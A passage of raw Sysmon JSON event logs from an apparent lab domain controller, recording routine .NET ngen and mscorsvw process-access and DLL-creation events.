C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:57.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F1-5F2D-0000-001035900E00}","TargetProcessId":"3996","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7703,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:58.276\r\nProcessGuid: {90617006-42F1-5F2D-0000-001035900E00}\r\nProcessId: 3996\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\f9c-0\\System.Dynamic.dll\r\nCreationUtcTime: 2020-08-07 12:02:58.276","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:58.276","ProcessGuid":"{90617006-42F1-5F2D-0000-001035900E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\f9c-0\\System.Dynamic.dll","CreationUtcTime":"2020-08-07 12:02:58.276","EventReceivedTime":"2020-08-07 12:02:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7704,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:58.447\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42F2-5F2D-0000-001092940E00}\r\nTargetProcessId: 2592\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:58.447","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42F2-5F2D-0000-001092940E00}","TargetProcessId":"2592","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7705,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:58.447\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F2-5F2D-0000-001092940E00}\r\nTargetProcessId: 2592\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:58.447","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F2-5F2D-0000-001092940E00}","TargetProcessId":"2592","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7706,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:58.527\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F2-5F2D-0000-001092940E00}\r\nTargetProcessId: 2592\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:58.527","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F2-5F2D-0000-001092940E00}","TargetProcessId":"2592","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7707,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:58.666\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42C1-5F2D-0000-001047820D00}\r\nTargetProcessId: 4428\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:58.666","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42C1-5F2D-0000-001047820D00}","TargetProcessId":"4428","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7708,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:58.666\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42C1-5F2D-0000-001047820D00}\r\nTargetProcessId: 4428\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:58.666","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42C1-5F2D-0000-001047820D00}","TargetProcessId":"4428","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7709,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:58.701\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F2-5F2D-0000-00103E980E00}\r\nTargetProcessId: 4428\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:58.701","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F2-5F2D-0000-00103E980E00}","TargetProcessId":"4428","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7710,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:59.432\r\nProcessGuid: {90617006-42F2-5F2D-0000-00103E980E00}\r\nProcessId: 4428\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\114c-0\\System.EnterpriseServices.Wrapper.dll\r\nCreationUtcTime: 2020-08-07 12:02:59.432","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:59.432","ProcessGuid":"{90617006-42F2-5F2D-0000-00103E980E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\114c-0\\System.EnterpriseServices.Wrapper.dll","CreationUtcTime":"2020-08-07 12:02:59.432","EventReceivedTime":"2020-08-07 12:03:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7711,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:59.447\r\nProcessGuid: {90617006-42F2-5F2D-0000-00103E980E00}\r\nProcessId: 4428\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\114c-0\\System.EnterpriseServices.dll\r\nCreationUtcTime: 2020-08-07 12:02:59.447","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:59.447","ProcessGuid":"{90617006-42F2-5F2D-0000-00103E980E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\114c-0\\System.EnterpriseServices.dll","CreationUtcTime":"2020-08-07 12:02:59.447","EventReceivedTime":"2020-08-07 12:03:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7712,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:59.619\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42F3-5F2D-0000-0010DC9D0E00}\r\nTargetProcessId: 4588\r\nTargetImage: 